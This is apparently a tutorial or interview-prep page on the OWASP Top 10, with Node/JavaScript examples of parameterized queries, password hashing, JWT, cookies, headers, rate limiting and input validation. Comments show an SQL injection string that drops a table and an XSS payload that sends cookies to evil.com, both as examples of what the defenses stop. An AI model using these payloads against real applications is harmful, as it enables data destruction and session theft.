Difficulty: Intermediate
What are the OWASP Top 10 vulnerabilities? How do you secure a web application against common attacks?
The OWASP Top 10 is the most authoritative list of critical web application security risks. Every developer should understand and mitigate these:
1. Broken Access Control: Users accessing resources they should not. Fix: check authorization on every endpoint, deny by default. 2. Cryptographic Failures: Sensitive data exposed due to weak or missing encryption. Fix: HTTPS everywhere, hash passwords with bcrypt, encrypt data at rest. 3. Injection: SQL injection, NoSQL injection, command injection. Fix: parameterized queries, input validation, never concatenate user input into queries. 4. Insecure Design: Flawed architecture that cannot be fixed by implementation. Fix: threat modeling, security by design, defense in depth. 5. Security Misconfiguration: Default credentials, unnecessary features enabled, verbose errors. Fix: harden configurations, disable debug in production. 6. Vulnerable Components: Using libraries with known vulnerabilities. Fix: npm audit, Dependabot, regular updates. 7. Authentication Failures: Weak passwords, missing MFA, session issues. Fix: strong password policies, MFA, secure session management. 8. Data Integrity Failures: Trusting unverified data (unsigned updates, insecure deserialization). Fix: verify signatures, validate all inputs. 9. Logging Failures: Not logging security events or logging sensitive data. Fix: log auth failures, access control failures; never log passwords or tokens. 10. SSRF: Server-side request forgery, making the server fetch attacker-controlled URLs. Fix: validate and whitelist URLs, block internal network access.
// SQL Injection - the #1 most dangerous vulnerability
// BAD: String concatenation (vulnerable!)
const query = `SELECT * FROM users WHERE email = '${email}'`;
// Attacker input: ' OR 1=1; DROP TABLE users; --
// Executes: SELECT * FROM users WHERE email = '' OR 1=1; DROP TABLE users; --'
// GOOD: Parameterized queries (safe)
const user = await prisma.user.findUnique({
where: { email: email },
});
// Prisma automatically parameterizes queries
// GOOD: Raw query with parameters
const users = await prisma.$queryRaw`
SELECT * FROM users WHERE email = ${email}
`;
// Template literal is parameterized by Prisma, NOT concatenated
// XSS (Cross-Site Scripting)
// BAD: Inserting user input into HTML
res.send(`<h1>Welcome, ${username}</h1>`);
// Attacker input: <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
// GOOD: Use a template engine that escapes by default
// React escapes JSX by default:
// <h1>Welcome, {username}</h1> // Safe - React escapes HTML
// GOOD: Sanitize HTML if you must render it
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);
Never concatenate user input into queries or HTML. Use parameterized queries (Prisma does this automatically). React escapes JSX by default, preventing most XSS. Use DOMPurify if you must render user HTML.
// Password hashing with bcrypt
import bcrypt from 'bcrypt';
const SALT_ROUNDS = 12;
// Hash password before storing
const hashedPassword = await bcrypt.hash(password, SALT_ROUNDS);
// Store hashedPassword in database
// Verify password on login
const isValid = await bcrypt.compare(inputPassword, hashedPassword);
// JWT best practices
import jwt from 'jsonwebtoken';
const token = jwt.sign(
{ userId: user.id, role: user.role },
process.env.JWT_SECRET,
{
expiresIn: '24h', // short expiry
issuer: 'myapp',
audience: 'myapp-client',
}
);
// Secure cookie settings
res.cookie('token', token, {
httpOnly: true, // not accessible via JavaScript
secure: true, // HTTPS only
sameSite: 'strict', // prevent CSRF
maxAge: 24 * 60 * 60 * 1000, // 24 hours
path: '/',
});
// Security headers middleware
import helmet from 'helmet';
app.use(helmet());
// Sets: X-Content-Type-Options, X-Frame-Options,
// Strict-Transport-Security, X-XSS-Protection, etc.
// Rate limiting
import rateLimit from 'express-rate-limit';
app.use('/api/auth', rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 10, // 10 attempts per window
message: 'Too many login attempts, try again later',
}));
Bcrypt with 12+ salt rounds makes brute-forcing impractical. HttpOnly cookies prevent XSS from stealing tokens. Helmet sets security headers automatically. Rate limiting prevents brute-force attacks.
// Validate ALL user input on the server
import { z } from 'zod';
const createUserSchema = z.object({
email: z.string().email().max(255).toLowerCase(),
password: z.string()
.min(8, 'Password must be at least 8 characters')
.max(128)
.regex(/[A-Z]/, 'Must contain uppercase letter')
.regex(/[0-9]/, 'Must contain a number'),
name: z.string().min(1).max(100).trim(),
role: z.enum(['STUDENT', 'RECRUITER']),
});
// Middleware for validation
const validate = (schema: z.ZodSchema) => (req, res, next) => {
try {
req.body = schema.parse(req.body);
next();
} catch (error) {
if (error instanceof z.ZodError) {
return res.status(400).json({
error: 'Validation failed',
details: error.errors.map(e => ({
field: e.path.join('.'),
message: e.message,
})),
});
}
next(error);
}
};
// Use in routes
app.post('/api/auth/register',
validate(createUserSchema),
authController.register
);
// NEVER trust client-side validation alone
// Client validation = UX (immediate feedback)
// Server validation = SECURITY (actual enforcement)
// npm audit - check for vulnerable dependencies
// npm audit
// npm audit fix
// Run regularly and in CI/CD pipeline
Zod validates and transforms input at the server boundary. Never trust client-side validation for security. Run npm audit in CI/CD to catch vulnerable dependencies automatically.
OWASP Top 10, XSS, SQL Injection, CSRF, Authentication, HTTPS, Input Validation